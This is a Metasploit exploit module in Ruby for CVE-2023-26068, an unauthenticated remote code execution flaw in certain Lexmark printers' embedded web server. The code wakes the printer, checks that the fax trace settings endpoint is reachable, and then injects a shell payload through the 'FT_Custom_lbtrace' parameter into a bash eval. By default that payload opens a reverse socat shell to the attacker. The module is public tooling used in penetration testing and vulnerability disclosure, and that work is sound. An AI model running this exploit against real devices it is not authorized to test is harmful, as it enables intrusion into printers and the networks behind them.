##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Retry
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Lexmark Device Embedded Web Server RCE',
'Description' => %q{
A unauthenticated Remote Code Execution vulnerability exists in the embedded webserver in certain Lexmark devices through 2023-02-19.
The vulnerability is only exposed if, when setting up the printer or device, the user selects "Set up Later" when asked
if they would like to add an Admin user. If no Admin user is created the endpoint `/cgi-bin/fax_change_faxtrace_settings`
is accessible without authentication. The endpoint allows the user to configure a number of different fax settings.
A number of the configurable parameters on the page (ex. `FT_Custom_lbtrace`) fail to be sanitized properly before being
used in an bash eval statement: `eval "$cmd" > /dev/null`, allowing for an unauthenticated user to run arbitrary commands.
},
'Author' => [
'James Horseman', # Analysis & PoC
'Zach Hanley', # Analysis & PoC
'jheysel-r7' # Msf module
],
'References' => [
[ 'URL', 'https://github.com/horizon3ai/CVE-2023-26067'],
[ 'URL', 'https://publications.lexmark.com/publications/security-alerts/CVE-2023-26068.pdf'],
[ 'URL', 'https://www.horizon3.ai/lexmark-command-injection-vulnerability-zdi-can-19470-pwn2own-toronto-2022/'],
[ 'CVE', '2023-26068']
],
'License' => MSF_LICENSE,
'Platform' => ['unix'],
'Privileged' => false,
'Arch' => [ ARCH_CMD ],
'Targets' => [
[
'Unix (In-Memory)',
{
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_socat_tcp'
}
}
]
],
'Payload' => {
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'socat'
}
},
'DefaultTarget' => 0,
'DisclosureDate' => '2023-03-13',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options(
[
OptInt.new('SLEEP', [true, 'Sleep time to wait for the printer to wake', 10]),
]
)
end
def check
send_wakeup
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/cgi-bin/fax_change_faxtrace_settings'),
'method' => 'GET'
)
return Exploit::CheckCode::Unknown('The target did not respond ') unless res
return Exploit::CheckCode::Safe('The target does not seem to be vulnerable') unless res.code == 200 && res.get_xml_document.xpath('//title').text == 'Fax Trace Settings'
Exploit::CheckCode::Appears('The vulnerable endpoint "/cgi-bin/fax_change_faxtrace_settings" is reachable')
end
# If the printer has been inactive for some time it might be sleeping, in which case it's best to send a request
# or two to wake it up before running the check method or exploit.
def send_wakeup
retry_until_truthy(timeout: datastore['SLEEP']) do
print_status('Waking up the printer...')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/cgi-bin/fax_change_faxtrace_settings'),
'method' => 'HEAD'
)
break if res && res.code == 200
end
end
def exploit
if datastore['ForceExploit'] || !datastore['AutoCheck']
send_wakeup
end
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/cgi-bin/fax_change_faxtrace_settings'),
'method' => 'POST',
'data' => "FT_Custom_lbtrace=3;$(#{payload.encoded});#"
)
print_error('A response to the exploit attempt was received. This indicates the exploit was likely unsuccessful') if res
end
end
